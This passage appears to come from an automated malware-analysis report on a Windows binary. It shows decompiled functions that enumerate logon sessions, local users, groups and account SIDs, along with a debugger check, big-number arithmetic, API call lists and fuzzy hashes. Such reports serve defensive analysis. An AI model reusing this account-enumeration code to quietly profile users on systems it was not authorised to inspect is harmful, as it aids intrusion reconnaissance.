																E0010F44B(_t326, _t352, _t378, _t385, __eflags);
																L88:
																E0010F44B(_t326, _t352, _t378, _t385, __eflags);
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_t258 =  *0x16f170; // 0xd529e887
																 *[fs:0x0] =  &_v280;
																_t394 = _t352;
																_v300 = _t394;
																_v296 = 0;
																 *_t394 = 0;
																_t394[1] = 0;
																_t394[2] = 0;
																_v272 = 0;
																_t262 =  &_v288;
																_v296 = 1;
																_v288 = 0;
																_v292 = 0;
																__imp__LsaEnumerateLogonSessions(_t262,  &_v292, _t258 ^ _t411, _t385, _t393, _t326,  *[fs:0x0], 0x131509, 0xffffffff, _t400);
																__eflags = _t262;
																if(_t262 == 0) {
																	_t329 = __imp__LsaFreeReturnBuffer;
																	_t387 = 0;
																	__eflags = _v40;
																	if(_v40 > 0) {
																		do {
																			_v36 = 0;
																			_t267 = _v44 + _t387 * 8;
																			__imp__LsaGetLogonSessionData(_t267,  &_v36);
																			__eflags = _t267;
																			if(_t267 == 0) {
																				_t355 = _t394[1];
																				_t269 = _v36 + 0x28;
																				__eflags = _t394[2] - _t355;
																				if(_t394[2] == _t355) {
																					_push(_t269);
																					_push(_t355);
																					E00095E30(_t394);
																				} else {
																					 *_t355 =  *_t269;
																					_t394[1] =  &(_t394[1][2]);
																				}
																				 *_t329(_v36);
																			}
																			_t387 = 1 + _t387;
																			__eflags = _t387 - _v40;
																		} while (_t387 < _v40);
																	}
																	 *_t329(_v44);
																}
																 *[fs:0x0] = _v32;
																return _t394;
															} else {
																goto L75;
															}
														}
													}
												}
											}
										}
									}
								} else {
									goto L62;
								}
							}
						}
					}
					L99:
				}
				E000674C0(_t326,  &_v108, _t382);
				 *[fs:0x0] = _v24;
				__eflags = _v32 ^ _t398;
				return E000ECED8(_v32 ^ _t398);
				goto L99;
			}

0x00095251
0x00095259
0x00095260
0x00095264
0x00095266
0x00095268
0x00095273
0x00095274
0x00095275
0x00095278
0x0009527d
0x0009527f
0x00095284
0x00095288
0x00095290
0x00095293
0x00095296
0x00095299
0x000952a0
0x000952a6
0x000952ad
0x000952b4
0x000952bb
0x000952bd
0x000952c4
0x000952c7
0x000952ca
0x000952d1
0x000952d4
0x000952d7
0x000952e0
0x000952e3
0x000952ee
0x00095306
0x0009530c
0x00095311
0x0009531e
0x00095323
0x0009532d
0x00095334
0x00095336
0x0009533d
0x00095381
0x00095386
0x0009538b
0x0009533f
0x0009533f
0x00095343
0x0009534a
0x00095351
0x00095354
0x00095359
0x00095359
0x00095360
0x00095360
0x00095363
0x00095369
0x00000000
0x0009536b
0x00095372
0x00095374
0x00095379
0x0009537c
0x0009537c
0x00095369
0x00095391
0x00095394
0x00095395
0x0009539b
0x00000000
0x00000000
0x00000000
0x0009539b
0x00000000
0x00095336
0x00000000
0x00095334
0x0009539d
0x0009539d
0x0009539d
0x000953a0
0x000953a2
0x000953a5
0x000953ab
0x000953ad
0x000953ad
0x000953a2
0x000953b0
0x000953bf
0x000953c2
0x000953c2
0x000953c8
0x000953cb
0x000953cb
0x000953d0
0x00000000
0x00000000
0x000953df
0x000953e4
0x000953eb
0x000953f2
0x000953f5
0x000953f9
0x000953f9
0x000953ff
0x00095416
0x00095419
0x0009541e
0x00095421
0x00095424
0x00095425
0x00095428
0x0009542d
0x00095434
0x0009543a
0x00095465
0x00095467
0x00095476
0x00095476
0x00095469
0x00095469
0x0009546a
0x0009546f
0x00095472
0x00095472
0x00000000
0x00000000
0x00000000
0x00000000
0x0009542f
0x0009542f
0x0009543c
0x0009543c
0x0009543c
0x0009543f
0x00095441
0x00095446
0x00095449
0x0009544a
0x0009544f
0x00095452
0x00095454
0x00000000
0x0009545a
0x0009545a
0x0009545d
0x00095460
0x00095478
0x0009547f
0x00095487
0x0009548f
0x00095492
0x00000000
0x00095492
0x00095454
0x00095401
0x00095401
0x00095404
0x0009540b
0x00095495
0x00095495
0x00095498
0x0009549b
0x0009549f
0x000954a2
0x000954a7
0x000954ae
0x000954b3
0x000954b8
0x000954b9
0x000954bd
0x000954c7
0x000954cc
0x000954cc
0x000954cf
0x000954d2
0x000954d5
0x000954dc
0x000955c0
0x000955c0
0x000954e2
0x000954e2
0x000954e9
0x000954ec
0x000954f4
0x000954ff
0x00095502
0x00095505
0x00095507
0x00095507
0x00095511
0x0009551d
0x00095522
0x00095528
0x0009552d
0x0009552f
0x00095534
0x0009553b
0x0009553d
0x00095536
0x00095536
0x00095536
0x00095534
0x00095544
0x0009554e
0x00095550
0x00095552
0x00095546
0x00095546
0x00095549
0x00095549
0x00095555
0x0009555b
0x00095560
0x00000000
0x00095562
0x00095566
0x0009556c
0x0009556f
0x00095571
0x00095571
0x00095581
0x0009558b
0x00095592
0x00095597
0x0009559c
0x0009559e
0x000955a8
0x000955af
0x000955b1
0x000955aa
0x000955aa
0x000955aa
0x000955a8
0x000955b3
0x000955bb
0x000955be
0x00000000
0x00000000
0x000955be
0x00095560
0x000955c5
0x000955ce
0x000955d6
0x000955db
0x000955e0
0x000955e5
0x000955ec
0x000955ee
0x000955f4
0x000955f5
0x000955fb
0x0009560a
0x0009560d
0x000955fd
0x000955ff
0x00095604
0x00095604
0x000955fb
0x00095612
0x00095616
0x0009561c
0x0009564c
0x0009564f
0x00000000
0x0009561e
0x0009561e
0x00095621
0x00095628
0x00095630
0x00095642
0x00095642
0x00095644
0x00095649
0x00000000
0x00095632
0x00095632
0x00095635
0x00095640
0x00095680
0x00095680
0x00095685
0x00095686
0x00095687
0x00095688
0x00095689
0x0009568a
0x0009568b
0x0009568c
0x0009568d
0x0009568e
0x0009568f
0x00095690
0x00095691
0x00095693
0x00095695
0x000956a0
0x000956a1
0x000956a4
0x000956a9
0x000956ab
0x000956ae
0x000956af
0x000956b0
0x000956b4
0x000956c2
0x000956c9
0x000956d0
0x000956da
0x000956e4
0x000956ea
0x000956ed
0x0009570c
0x00095714
0x0009571a
0x00095720
0x00095722
0x00095898
0x000958a0
0x000958ad
0x000958b7
0x00095728
0x0009572b
0x00095736
0x00095743
0x00095752
0x00095758
0x0009575a
0x0009588f
0x00095892
0x00000000
0x00095760
0x00095760
0x00095766
0x00095769
0x00000000
0x0009576f
0x00095772
0x00095779
0x00095781
0x00095788
0x0009578f
0x00095797
0x0009579b
0x0009579e
0x000957b1
0x000957b7
0x000957b9
0x0009582f
0x0009582f
0x00095831
0x0009585f
0x0009585f
0x00095861
0x00000000
0x00095863
0x00095866
0x0009586a
0x0009586d
0x00095873
0x00095885
0x00095885
0x00095887
0x00000000
0x00095875
0x00095875
0x00095878
0x00095880
0x00095883
0x00000000
0x00000000
0x00000000
0x00000000
0x00095883
0x00095873
0x00095833
0x00095836
0x0009583a
0x0009583d
0x00095843
0x00095855
0x00095855
0x00095857
0x0009585c
0x00000000
0x00095845
0x00095845
0x00095848
0x00095850
0x00095853
0x00000000
0x00000000
0x00000000
0x00000000
0x00095853
0x00095843
0x000957bb
0x000957bd
0x000957c4
0x000957cb
0x000957ce
0x000957d5
0x000957d7
0x000957d9
0x000957d9
0x000957e0
0x000957e2
0x000957e2
0x000957f0
0x000957f5
0x000957f8
0x000957fb
0x00000000
0x000957fd
0x000957fd
0x00095800
0x00095807
0x00095809
0x0009580f
0x00095825
0x00095825
0x00095827
0x0009582c
0x00000000
0x00095811
0x00095811
0x00095814
0x0009581c
0x0009581f
0x000958ba
0x000958bf
0x000958bf
0x000958c4
0x000958c4
0x000958c9
0x000958ca
0x000958cb
0x000958cc
0x000958cd
0x000958ce
0x000958cf
0x000958e7
0x000958f2
0x000958f8
0x000958fa
0x000958fd
0x00095904
0x0009590a
0x00095911
0x0009591b
0x00095923
0x00095926
0x0009592e
0x00095935
0x0009593c
0x00095942
0x00095944
0x00095946
0x0009594c
0x0009594e
0x00095951
0x00095953
0x00095956
0x00095961
0x00095965
0x0009596b
0x0009596d
0x00095972
0x00095975
0x00095978
0x0009597b
0x00095987
0x00095988
0x0009598b
0x0009597d
0x0009597f
0x00095981
0x00095981
0x00095993
0x00095993
0x00095995
0x00095996
0x00095996
0x00095953
0x0009599e
0x0009599e
0x000959a5
0x000959b3
0x00000000
0x00000000
0x00000000
0x0009581f
0x0009580f
0x000957fb
0x000957b9
0x00095769
0x0009575a
0x00000000
0x00000000
0x00000000
0x00095640
0x00095630
0x0009561c
0x00000000
0x000953ff
0x0009565a
0x00095665
0x00095672
0x0009567f
0x00000000

APIs

NetUserEnum.NETAPI32(00000000,00000000,00000002,?,000000FF,00000000,00000000,00000000,D529E887,00000000), ref: 00095306
NetApiBufferFree.NETAPI32(?), ref: 000953A5
NetApiBufferFree.NETAPI32(?), ref: 000953C2

Part of subcall function 00095120: NetUserGetLocalGroups.NETAPI32(00000000,?,00000000,00000001,00000000,000000FF,00000000,00000000,D529E887,00000000,?), ref: 000951B1
Part of subcall function 00095120: NetApiBufferFree.NETAPI32(00000000), ref: 000951FE

Part of subcall function 00095690: AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,D529E887,00000000,?), ref: 0009571A
Part of subcall function 00095690: LookupAccountSidW.ADVAPI32(00000000,?,00000000,00000000,00000000,?,?), ref: 00095752
Part of subcall function 00095690: GetLastError.KERNEL32 ref: 00095760
Part of subcall function 00095690: LookupAccountSidW.ADVAPI32(00000000,?,?,00000000,?,00000000,00000002), ref: 000957B1
Part of subcall function 00095690: FreeSid.ADVAPI32(?), ref: 00095892

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Free$Buffer$AccountLookupUser$AllocateEnumErrorException@8FeatureGroupsInitializeLastLocalPresentProcessorThrow___raise_securityfailure__onexit
String ID:
API String ID: 1561166393-0
Opcode ID: 1499983c3c5f59dc3960f5f49a0357798eee60f40288a0e7ade3ac64652beca3
Instruction ID: 010fc9ecaf65d443bdbde67f4e700258e755168779a37e121e682ef71d1762fb
Opcode Fuzzy Hash: 1499983c3c5f59dc3960f5f49a0357798eee60f40288a0e7ade3ac64652beca3
Instruction Fuzzy Hash: E4D1ACB0D006089FCF15CFA9DC44BAEBBF1FF44315F548629E816AB291D770A984DB91

Uniqueness

Uniqueness Score: 7.75%

Function 000AA410, Relevance: 4.6, APIs: 3, Instructions: 80
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E000AA410(void* _a4) {
				void* _v8;
				char _v16;
				void* _v20;
				long _v24;
				void* __esi;
				signed int _t12;
				WCHAR* _t15;
				int _t19;
				void _t20;
				void* _t25;
				void* _t27;
				void* _t31;
				void* _t34;
				signed int _t36;

				_push(0xffffffff);
				_push(0x133e00);
				_push( *[fs:0x0]);
				_t12 =  *0x16f170; // 0xd529e887
				_push(_t12 ^ _t36);
				 *[fs:0x0] =  &_v16;
				_t15 = _a4;
				if(_t15[0xa] >= 8) {
					_t15 =  *_t15;
				}
				_t34 = CreateFileW(_t15, 8, 7, 0, 3, 0x2200000, 0);
				_a4 = _t34;
				_v8 = 0;
				if(_t34 != 0xffffffff) {
					_push(0x4000);
					_t31 = E000ED301(_t27, _t34, __eflags);
					_v20 = _t31;
					_v8 = 2;
					_t19 = DeviceIoControl(_t34, 0x900a8, 0, 0, _t31, 0x4000,  &_v24, 0);
					__eflags = _t19;
					if(_t19 != 0) {
						_t20 =  *_t31;
						__eflags = _t20 - 0xa000000c;
						if(_t20 == 0xa000000c) {
							L9:
							_t25 = 1;
						} else {
							__eflags = _t20 - 0xa0000003;
							if(_t20 == 0xa0000003) {
								goto L9;
							} else {
								_t25 = 0;
							}
						}
					} else {
						_t25 = 0;
					}
					L000ECEE9(_t31);
				} else {
					_t25 = 0;
				}
				_v8 = 4;
				if(_t34 != 0xffffffff) {
					CloseHandle(_t34);
				}
				 *[fs:0x0] = _v16;
				return _t25;
			}

0x000aa413
0x000aa415
0x000aa420
0x000aa427
0x000aa42e
0x000aa432
0x000aa438
0x000aa43f
0x000aa441
0x000aa441
0x000aa459
0x000aa45b
0x000aa45e
0x000aa468
0x000aa46e
0x000aa478
0x000aa47d
0x000aa485
0x000aa49a
0x000aa4a0
0x000aa4a2
0x000aa4a8
0x000aa4aa
0x000aa4af
0x000aa4bc
0x000aa4bc
0x000aa4b1
0x000aa4b1
0x000aa4b6
0x00000000
0x000aa4b8
0x000aa4b8
0x000aa4b8
0x000aa4b6
0x000aa4a4
0x000aa4a4
0x000aa4a4
0x000aa4bf
0x000aa46a
0x000aa46a
0x000aa46a
0x000aa4c7
0x000aa4d1
0x000aa4d4
0x000aa4d4
0x000aa4df
0x000aa4ed

APIs

CreateFileW.KERNEL32(000000FF,00000008,00000007,00000000,00000003,02200000,00000000), ref: 000AA453
DeviceIoControl.KERNEL32(00000000,000900A8,00000000,00000000,00000000,00004000,?,00000000), ref: 000AA49A
CloseHandle.KERNEL32(00000000), ref: 000AA4D4

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 826a9d5014f9e47bdc7eaabbac46878d788eacda3cb10b2ec3e06aa6d0559774
Instruction ID: a18ac38a0210cd5b7c4dd07e9e2be3d8804f21065b4dc512492b9303a871c114
Opcode Fuzzy Hash: 826a9d5014f9e47bdc7eaabbac46878d788eacda3cb10b2ec3e06aa6d0559774
Instruction Fuzzy Hash: 4D21DA71784204ABE7608F64DC4EF9A77E8EB4BB10F100125F955A72C0D3B99A04D667

Uniqueness

Uniqueness Score: 0.32%

Function 0010F271, Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E0010F271(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t70;
				signed int _t72;
				signed int _t74;

				_t70 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t72 = _t74;
				_t40 =  *0x16f170; // 0xd529e887
				_t41 = _t40 ^ _t72;
				_v8 = _t40 ^ _t72;
				_push(__edi);
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E000EE38B(_t41);
					_pop(_t62);
				}
				E001053E0(_t67,  &_v804, 0, 0x50);
				E001053E0(_t67,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t70;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E000EE38B(_t57);
				}
				return E000ECED8(_v8 ^ _t72);
			}

0x0010f271
0x0010f271
0x0010f271
0x0010f271
0x0010f274
0x0010f27c
0x0010f281
0x0010f283
0x0010f28a
0x0010f28b
0x0010f28d
0x0010f290
0x0010f295
0x0010f295
0x0010f2a1
0x0010f2b4
0x0010f2c2
0x0010f2c8
0x0010f2ce
0x0010f2d4
0x0010f2da
0x0010f2e0
0x0010f2e6
0x0010f2ec
0x0010f2f2
0x0010f2f8
0x0010f2ff
0x0010f306
0x0010f30d
0x0010f314
0x0010f31b
0x0010f322
0x0010f323
0x0010f32c
0x0010f332
0x0010f335
0x0010f33b
0x0010f348
0x0010f351
0x0010f35a
0x0010f363
0x0010f371
0x0010f373
0x0010f388
0x0010f394
0x0010f397
0x0010f39c
0x0010f3ab

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0010F369
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0010F373
UnhandledExceptionFilter.KERNEL32(?), ref: 0010F380

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor___raise_securityfailure
String ID:
API String ID: 1573977735-0
Opcode ID: 0024bf2f52d68ce7f57cf4b5295476fc10a3deaaf3f19b562796f2f595704f82
Instruction ID: 0dfee2077be411e06883504da24592346327870272138817faae3a5137233a89
Opcode Fuzzy Hash: 0024bf2f52d68ce7f57cf4b5295476fc10a3deaaf3f19b562796f2f595704f82
Instruction Fuzzy Hash: 4931B37590121C9BCB21DF64D889B9DBBB8BF08350F5042EAE85CA7291E7709F818F45

Uniqueness

Uniqueness Score: 0.03%

Function 0011F384, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0011EF61: GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA,00000000), ref: 0011EFC1
Part of subcall function 0011EF61: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011EFCE

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,00119E14,?,001522A0), ref: 0011F3D7

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

GetLocaleInfoEx, xrefs: 0011F395, 0011F39F

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: AddressFeatureInfoLocalePresentProcProcessor___raise_securityfailure__crt_fast_encode_pointer
String ID: GetLocaleInfoEx
API String ID: 1338907001-2904428671
Opcode ID: 480d75482b85e6631979b8a377d759783f75d9403208d69333fd0caadd9b081f
Instruction ID: 62926eb6c01cffc84b5ba56ed7b479844fd6c0fbdf7cc1cfdaade6159c13b1a4
Opcode Fuzzy Hash: 480d75482b85e6631979b8a377d759783f75d9403208d69333fd0caadd9b081f
Instruction Fuzzy Hash: 28F09031644208BBCB15AFB1DC06EAE7B65EF08750F804029FC19662E1CB725DA2DA95

Uniqueness

Uniqueness Score: 0.42%

Function 00115B00, Relevance: 3.5, APIs: 2, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E00115B00(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t263;
				signed int _t266;
				signed int _t267;
				void* _t268;
				intOrPtr* _t269;
				signed int _t275;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				signed int _t280;
				signed int* _t282;
				signed int* _t286;
				signed int _t287;
				signed int _t288;
				intOrPtr _t290;
				void* _t294;
				signed char _t300;
				signed int _t303;
				signed int _t311;
				signed int _t314;
				signed int _t315;
				signed int _t317;
				signed int _t319;
				signed int _t321;
				intOrPtr* _t322;
				signed int _t326;
				signed int _t330;
				signed int* _t336;
				signed int _t338;
				signed int _t339;
				signed int _t341;
				void* _t342;
				signed int _t344;
				signed int _t346;
				signed int _t349;
				signed int _t350;
				signed int* _t352;
				signed int _t357;
				signed int _t359;
				void* _t363;
				signed int _t367;
				signed int _t368;
				signed int _t370;
				signed int* _t376;
				signed int* _t377;
				signed int* _t378;
				signed int* _t381;

				_t263 = _a4;
				_t197 =  *_t263;
				if(_t197 != 0) {
					_t336 = _a8;
					_t275 =  *_t336;
					__eflags = _t275;
					if(_t275 != 0) {
						_t3 = _t197 - 1; // -1
						_t357 = _t3;
						_t4 = _t275 - 1; // -1
						_t198 = _t4;
						_v16 = _t357;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t357;
							if(_t198 > _t357) {
								L24:
								__eflags = 0;
								return 0;
							} else {
								_t46 = _t198 + 1; // 0x0
								_t314 = _t357 - _t198;
								_v60 = _t46;
								_t277 = _t357;
								__eflags = _t357 - _t314;
								if(_t357 < _t314) {
									L22:
									_t314 = _t314 + 1;
									__eflags = _t314;
								} else {
									_t376 =  &(_t263[_t357 + 1]);
									_t349 =  &(( &(_t336[_t277 - _t314]))[1]);
									__eflags = _t349;
									while(1) {
										__eflags =  *_t349 -  *_t376;
										if( *_t349 !=  *_t376) {
											break;
										}
										_t277 = _t277 - 1;
										_t349 = _t349 - 4;
										_t376 = _t376 - 4;
										__eflags = _t277 - _t314;
										if(_t277 >= _t314) {
											continue;
										} else {
											goto L22;
										}
										goto L23;
									}
									_t377 = _a8;
									_t54 = (_t277 - _t314) * 4; // 0xfc23b5a
									__eflags =  *((intOrPtr*)(_t377 + _t54 + 4)) -  *((intOrPtr*)(_t263 + 4 + _t277 * 4));
									if( *((intOrPtr*)(_t377 + _t54 + 4)) <  *((intOrPtr*)(_t263 + 4 + _t277 * 4))) {
										goto L22;
									}
								}
								L23:
								__eflags = _t314;
								if(__eflags != 0) {
									_t338 = _v60;
									_t200 = _a8;
									_t359 =  *(_t200 + _t338 * 4);
									_t64 = _t338 * 4; // 0xfffec82d
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t359;
									if(__eflags == 0) {
										_t278 = 0x20;
									} else {
										_t278 = 0x1f - _t201;
									}
									_v40 = _t278;
									_v64 = 0x20 - _t278;
									__eflags = _t278;
									if(_t278 != 0) {
										_t300 = _v40;
										_v36 = _v36 << _t300;
										_v56 = _t359 << _t300 | _v36 >> _v64;
										__eflags = _t338 - 2;
										if(_t338 > 2) {
											_t79 = _t338 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t315 = _t314 + 0xffffffff;
									__eflags = _t315;
									_v32 = _t315;
									if(_t315 < 0) {
										_t339 = 0;
										__eflags = 0;
									} else {
										_t85 =  &(_t263[1]); // 0x4
										_v20 =  &(_t85[_t315]);
										_t206 = _t315 + _t338;
										_t90 = _t263 - 4; // -4
										_v12 = _t206;
										_t286 = _t90 + _t206 * 4;
										_v80 = _t286;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t286[2];
											}
											__eflags = _v40;
											_t319 = _t286[1];
											_t287 =  *_t286;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t287;
											if(_v40 > 0) {
												_t326 = _v8;
												_t344 = _t287 >> _v64;
												_t230 = E000ED680(_t319, _v40, _t326);
												_t287 = _v40;
												_t207 = _t326;
												_t319 = _t344 | _t230;
												_t367 = _v24 << _t287;
												__eflags = _v12 - 3;
												_v8 = _t326;
												_v24 = _t367;
												if(_v12 >= 3) {
													_t287 = _v64;
													_t368 = _t367 |  *(_t263 + (_v60 + _v32) * 4 - 8) >> _t287;
													__eflags = _t368;
													_t207 = _v8;
													_v24 = _t368;
												}
											}
											_t208 = E000ED710(_t319, _t207, _v56, 0);
											_v44 = _t263;
											_t266 = _t208;
											_v44 = 0;
											_t209 = _t319;
											_v8 = _t266;
											_v28 = _t209;
											_t341 = _t287;
											_v72 = _t266;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L41:
												_t267 = _t266 + 1;
												asm("adc eax, 0xffffffff");
												_t341 = _t341 + E000ED610(_t267, _t209, _v56, 0);
												asm("adc esi, edx");
												_t266 = _t267 | 0xffffffff;
												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t266;
												_v72 = _t266;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t266 - 0xffffffff;
												if(_t266 > 0xffffffff) {
													goto L41;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L45;
												} else {
													__eflags = _t341 - 0xffffffff;
													if(_t341 <= 0xffffffff) {
														while(1) {
															L45:
															_v8 = _v24;
															_t228 = E000ED610(_v36, 0, _t266, _t209);
															__eflags = _t319 - _t341;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L48:
																_t209 = _v28;
																_t266 = _t266 + 0xffffffff;
																_v72 = _t266;
																asm("adc eax, 0xffffffff");
																_t341 = _t341 + _v56;
																__eflags = _t341;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t341 == 0) {
																	__eflags = _t341 - 0xffffffff;
																	if(_t341 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L48;
																}
															}
															L52:
															_v8 = _t266;
															goto L53;
														}
														_t209 = _v28;
														goto L52;
													}
												}
											}
											L53:
											__eflags = _t209;
											if(_t209 != 0) {
												L55:
												_t288 = _v60;
												_t342 = 0;
												_t363 = 0;
												__eflags = _t288;
												if(_t288 != 0) {
													_t269 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t288;
													do {
														_v44 =  *_t219;
														_t225 =  *_t269;
														_t294 = _t342 + _v72 * _v44;
														asm("adc esi, edx");
														_t342 = _t363;
														_t363 = 0;
														__eflags = _t225 - _t294;
														if(_t225 < _t294) {
															_t342 = _t342 + 1;
															asm("adc esi, esi");
														}
														 *_t269 = _t225 - _t294;
														_t269 = _t269 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t266 = _v8;
													_t288 = _v60;
												}
												__eflags = 0 - _t363;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L64:
														__eflags = _t288;
														if(_t288 != 0) {
															_t346 = _t288;
															_t322 = _v20;
															_t370 =  &(_a8[1]);
															__eflags = _t370;
															_t268 = 0;
															do {
																_t290 =  *_t322;
																_t172 = _t370 + 4; // 0xa6a5959
																_t370 = _t172;
																_t322 = _t322 + 4;
